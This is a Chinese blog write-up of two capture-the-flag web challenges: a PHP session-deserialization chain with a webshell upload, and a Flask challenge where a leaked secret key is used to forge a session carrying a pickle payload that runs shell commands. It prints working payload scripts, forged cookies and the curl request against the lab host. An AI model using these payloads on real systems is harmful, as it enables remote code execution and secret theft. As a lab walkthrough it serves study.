其他题3


[DASCTF X GFCTF 2024|四月开启第一局]web1234

base64+unserialize+md5

PHP_Incomplete_Class Object
(
    [__PHP_Incomplete_Class_Name] => Config
    [uname] => admin
    [passwd] => 50b9748289910436bfdd34bda7b1c9d9=>1q2w3e
    [avatar] => /tmp/1.png
    [nickname] => 小熊软糖OvO
    [sex] =>[mail] => admin@admin.com
    [telnum] => 12345678901
)

我觉得荔枝味的软糖天下第一!!!尤其是夹心那种的!!!

这图片。。。有点吓人(

public function __wakeup(){
       if(is_string($_GET['backdoor'])){
           $func = $_GET['backdoor'];
           $func();//:)
       }
   }

这也太大胆了吧(

本题的 flag 不在环境变量中,session_start(),注意链子挖掘.把我前端删了,呃呃呃,怎么还把我日志关了

这record.php被删的一干二净哈哈哈

于是放弃命令执行,考虑去日志里找

session_start() 函数就是用来开启会话的,一旦会话启动,就可以在不同的页面之间存储和获取用户相关的数据。

会话 ID

当调用 session_start() 时,PHP 会为当前用户分配一个唯一的会话 ID(通常是一个 32 位的字符串)。这个会话 ID 会通过 cookie 或者 URL 参数的方式传递给客户端浏览器。

会话数据存储

会话数据会存储在服务器端的文件或者数据库中,文件名或者记录的标识通常就是会话 ID。客户端每次发送请求时,会携带会话 ID,服务器根据这个 ID 来查找对应的会话数据。

嘶,那岂不是日志一直存在唯一的用户(admin)ID对应的数据库中?我们只要进入会话中就可以操作,去看见日志

怎么看日志记录(record.php)呢?

public function __toString(){
     if($this->data === "log_start()"){
         file_put_contents("record.php","<?php\nerror_reporting(0);\n");
     }
     return ":O";
 }

再找echo 语句/字符串拼接

    public function __sleep(){
        echo "<script>alert('edit conf success\\n";
        echo preg_replace('/<br>/','\n',$this->showconf());
        echo "')</script>";
        return array("uname","passwd","avatar","nickname","sex","mail","telnum");
    }

    public function showconf(){
        $show = "<img src=\"data:image/png;base64,".base64_encode(file_get_contents($this->avatar))."\"/><br>";
        $show .= "nickname: $this->nickname<br>";
        $show .= "sex: $this->sex<br>";
        $show .= "mail: $this->mail<br>";
        $show .= "telnum: $this->telnum<br>";
        return $show;
    }
#很难不说这两连着不显眼。。。

Config. __sleep()=>Config. showconf()=>Log.__toString()

当对一个对象使用 serialize() 函数进行序列化时,PHP 会自动检查该对象是否定义了 __sleep() 方法。如果定义了,就会先调用这个方法。

?uname=admin&passwd=1q2w3e&backdoor=session_start

当调用 session_start() 时,PHP 会执行以下主要步骤:

检查会话 ID
  • PHP 首先会检查客户端(通常是浏览器)是否已经发送了一个会话 ID。会话 ID 一般通过名为 PHPSESSID 的 cookie 或者 URL 参数传递给服务器。如果客户端没有提供会话 ID,PHP 会生成一个新的会话 ID。
定位会话数据存储位置
  • PHP 会根据 session.save_handlersession.save_path 等配置项来确定会话数据的存储位置。常见的会话数据存储方式有文件存储、数据库存储等。在默认情况下,会话数据以文件形式存储在服务器的文件系统中,文件命名格式通常为 sess_<session_id>,其中 <session_id> 就是生成或接收到的会话 ID。
读取并反序列化会话数据
  • 如果存在对应的会话文件(如 sess_XXX),PHP 会读取该文件的内容。会话文件中的数据是经过序列化处理的,PHP 会根据 session.serialize_handler 配置项指定的序列化方式(如 php_serializephp_binary 等)对读取到的数据进行反序列化操作。
  • 反序列化完成后,PHP 会将反序列化得到的数据填充到 $_SESSION 超全局数组中,而不是得到一个名为 $Session 的对象(在标准的 PHP 会话机制里是使用 $_SESSION 数组来管理会话数据)。

?uname=admin&passwd=1q2w3e&backdoor=phpinfo

session.serialize_handler为php。

php

  • 是 PHP 5.x 及早期版本的默认序列化处理程序。它采用一种特定的格式来序列化数组和对象。对于数组,会按照一定规则将键值对组合成字符串;对于对象,会存储对象的类名和属性信息。
  • 键名+竖线(|)+经过serialize()函数处理过的值

php_serialize

  • 从 PHP 7.0 开始,php_serialize 逐渐成为新的默认序列化处理程序。它基于 PHP 内置的 serialize()unserialize() 函数工作,能更准确地处理各种复杂的数据类型,包括自定义类的对象。
  • 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

php_binary

  • 它以二进制格式来序列化会话数据,序列化后的结果是二进制字符串。
  • 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值

所以读取对应的会话文件的内容反序列化=>$_SESSION

序列化会话数据:PHP 会根据 session.serialize_handler 配置项指定的序列化方式(如 php_serializephp_binary 等),将 $_SESSION 数组中的数据进行序列化。

保存序列化数据:将序列化后的字符串保存到对应的会话文件中。会话文件的命名格式通常为 sess_<session_id>,存储位置由 session.save_path 配置项决定,默认情况下是 /tmp 目录。

session.save_path取默认。

$_SESSION=>会话文件,进行序列化=>Config. __sleep()

?php
class Log
{
    public $data;
}
class Config{

    public $uname;
    public $passwd;
    public $avatar;
    public $nickname;
    public $sex;
    public $mail;
    public $telnum;

}
$a=new Config;
$a->avatar=$b;
$b=new Log;
$b->data === "log_start()";
echo serialize($a);

O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";N;}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

PHPSESSID=bae6cdb549e94c652632aa39240c6962,所以filename=”sess_XXX”=”sess_bae6cdb549e94c652632aa39240c6962”(当然这里随便都行,我就用它分配给我的了)

再保持键名一致即可(

qing|O:6:"Config":7:{s:5:"uname";N;s:6:"passwd";N;s:6:"avatar";O:3:"Log":1:{s:4:"data";s:11:"log_start()";}s:8:"nickname";N;s:3:"sex";N;s:4:"mail";N;s:6:"telnum";N;}

暂时想不到什么好方法看日志,不过用木马确实是个好办法

public function upload($avatar){
       $path = "/tmp/".preg_replace("/\.\./", "", $avatar['fname']);
       file_put_contents($path,$avatar['fdata']);
       return $path;
   }

file_put_contents也太大胆了,而且路径也是/tmp目录下(这也太巧了吧,指指点点)

我还想怎么去tmp目录下呢,那就在你这儿吧(

从给出的base64可得是写进去了(

file_put_contents("record.php","< ?php\nerror_reporting(0);\n");

so注意删去Cookie,防止再次写入 < ?php error_reporting(0);

木马/rce即可得到flag{8106a7ed-5578-47c2-a3a6-b75a1ef0c849}


[HFCTF 2021 Final]easyflask

Here is a js file. Source at /app/source

嗯嗯,知道了源文件的位置。/file?file=/app/source

尝试在file后输入被告知disallowed

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"#这个不吉岛

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})
"""1. type 函数的使用
在 Python 中,type 函数有两种主要的用法:
当传入一个参数时,它用于返回该对象的类型,例如 type(1) 会返回 <class 'int'>。
当传入三个参数时,它可以用于动态创建类。这三个参数分别是:
类名:一个字符串,表示新创建类的名称,这里是 'User'。
基类元组:一个包含基类的元组,指定新类继承自哪些类。这里 (object,) 表示 User 类继承自 object 类,在 Python 3 中,所有类默认都继承自 object 类。
类属性字典:一个字典,包含类的属性和方法。这里定义了两个属性 uname 和 is_admin,以及一个特殊方法 __repr__。
2. 类属性和方法
uname:这是一个类属性,初始值为 'test'。可以通过类的实例访问和修改这个属性。
is_admin:同样是类属性,初始值为 0,通常可以用来表示用户是否为管理员的标识。
__repr__:这是一个特殊方法,用于返回对象的字符串表示形式。当你打印对象或者在交互式环境中查看对象时,会调用这个方法。这里使用了一个 lambda 函数,返回对象的 uname 属性值。"""

@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):#检查会话中是否存在键为 'u' 的数据
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        """session.get('u') 使用了 get 方法,这是 Python 字典(以及其他类似字典的对象)的一个常用方法。如果 'u' 键存在于 session 中,get 方法会返回对应的值;如果 'u' 键不存在,get 方法会返回 None(或者指定的默认值,这里没有提供默认值)。"""
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

文章 - pickle反序列化初探 - 先知社区


试了下环境,直接爆了哈哈哈哈

/proc/1/environ

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=outFLAG=flag{48657e50-c6de-4a0a-9163-20c7fe9e6313}KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1KUBERNETES_SERVICE_HOST=10.240.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.240.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443LANG=C.UTF-8GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568PYTHON_VERSION=3.8.2PYTHON_PIP_VERSION=20.0.2PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d59197a3c169cef378a22428a3fa99d33e080a5d/get-pip.pyPYTHON_GET_PIP_SHA256=421ac1d44c0cf9730a088e337867d974b91bdce4ea2636099275071878cc189esecret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuhHOME=/root

flag{48657e50-c6de-4a0a-9163-20c7fe9e6313}

正常一点:

/file?file=/proc/self/environ

KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_SERVICE_PORT=443
HOSTNAME=out
PYTHON_VERSION=3.8.2
PWD=/app
_=/usr/local/bin/python3
HOME=/root
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.240.0.1:443
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
FLAG=flag_not_here
SHLVL=1
KUBERNETES_PORT_443_TCP_PROTO=tcp
PYTHON_PIP_VERSION=20.0.2
KUBERNETES_PORT_443_TCP_ADDR=10.240.0.1
PYTHON_GET_PIP_SHA256=421ac1d44c0cf9730a088e337867d974b91bdce4ea2636099275071878cc189e
KUBERNETES_SERVICE_HOST=10.240.0.1
KUBERNETES_PORT=tcp://10.240.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d59197a3c169cef378a22428a3fa99d33e080a5d/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
OLDPWD=/app

坑1

正常来说不进行base64加密,直接将{'u':b'dumps结果'}生成session也可以RCE,这是因为代码方面他只是检查了u是否是dict,无论是不是字典都会进行loads操作,所以直接传序列化字符串也可以。不过这只适用于一些简单的命令,比如ls之类的,反弹shell的命令由于字符过于复杂,所以只能使用base64加密的字典格式。

so,还是需要用字典(类属性字典)。得用User类

import pickle
import base64

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__':lambda o:(exec, ("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('shell')).read()",))

})

u = User()
pickled = pickle.dumps(u)
pickled_data = base64.b64encode(pickled).decode('utf-8')
print("session=", pickled_data)

#然后发现内存马不管用

弄reduce,还需要伪造session,过程和[HCTF 2018]admin一样。

#在/file里先找到一个session
eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.Z9lpXA.xSrSW0ScktiDr6ZSkcd75hXSjko

python3 flask_session_cookie_manager3.py decode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -c 'eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.Z9lpXA.xSrSW0ScktiDr6ZSkcd75hXSjko'

得到{'u': b'\x80\x04\x95\x18\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94.'}

按照该格式构造:
python3 flask_session_cookie_manager3.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u': b'gASVSAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwsX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2NhdCAvZmxhZyA+IC9wYXNzJymUhZRSlC4='}"

不知道为啥用工具生成的总是不对。。。最后用的python

from flask import Flask
from flask.sessions import SecureCookieSessionInterface
import base64
import pickle
import requests

app = Flask(__name__)
app.secret_key = 'glzjin22948575858jfjfjufirijidjitg3uiiuuh'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (eval, ("__import__('os').system('cat /flag > /pass')",))
})

b = {
    "b": base64.b64encode(pickle.dumps(User()))
}
print(b)

print(session_serializer.dumps({'u': b}))
curl -b "session=.eJw1x8EOgiAcgPFXaTwBpl7avFRSc5Ni4p_wJupiApODzsr57tmhw_fbvgVN6LAg9WO3iSpMOFh6ZCX5d-YlvRY90RA-ZwlN0LlX1mKoBfGDNJ7DZfuQypzbWVp9ah2dSlfJTrST7ClVZuT04a1Io1nYZlZ4eHOnDcNkL1wQ1cTHrBgz9rGhAH3rjI8VwCBsxlWa4ztLErSu6xcjrzoA.Z9mBxg.P34L5iJKHY-pGfzV6xRtn7-RO_E" http://0d3edea2-7d43-41e1-a8f6-96c9aec28205.node5.buuoj.cn:81/admin

返回500报错,但是命令已经执行



文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录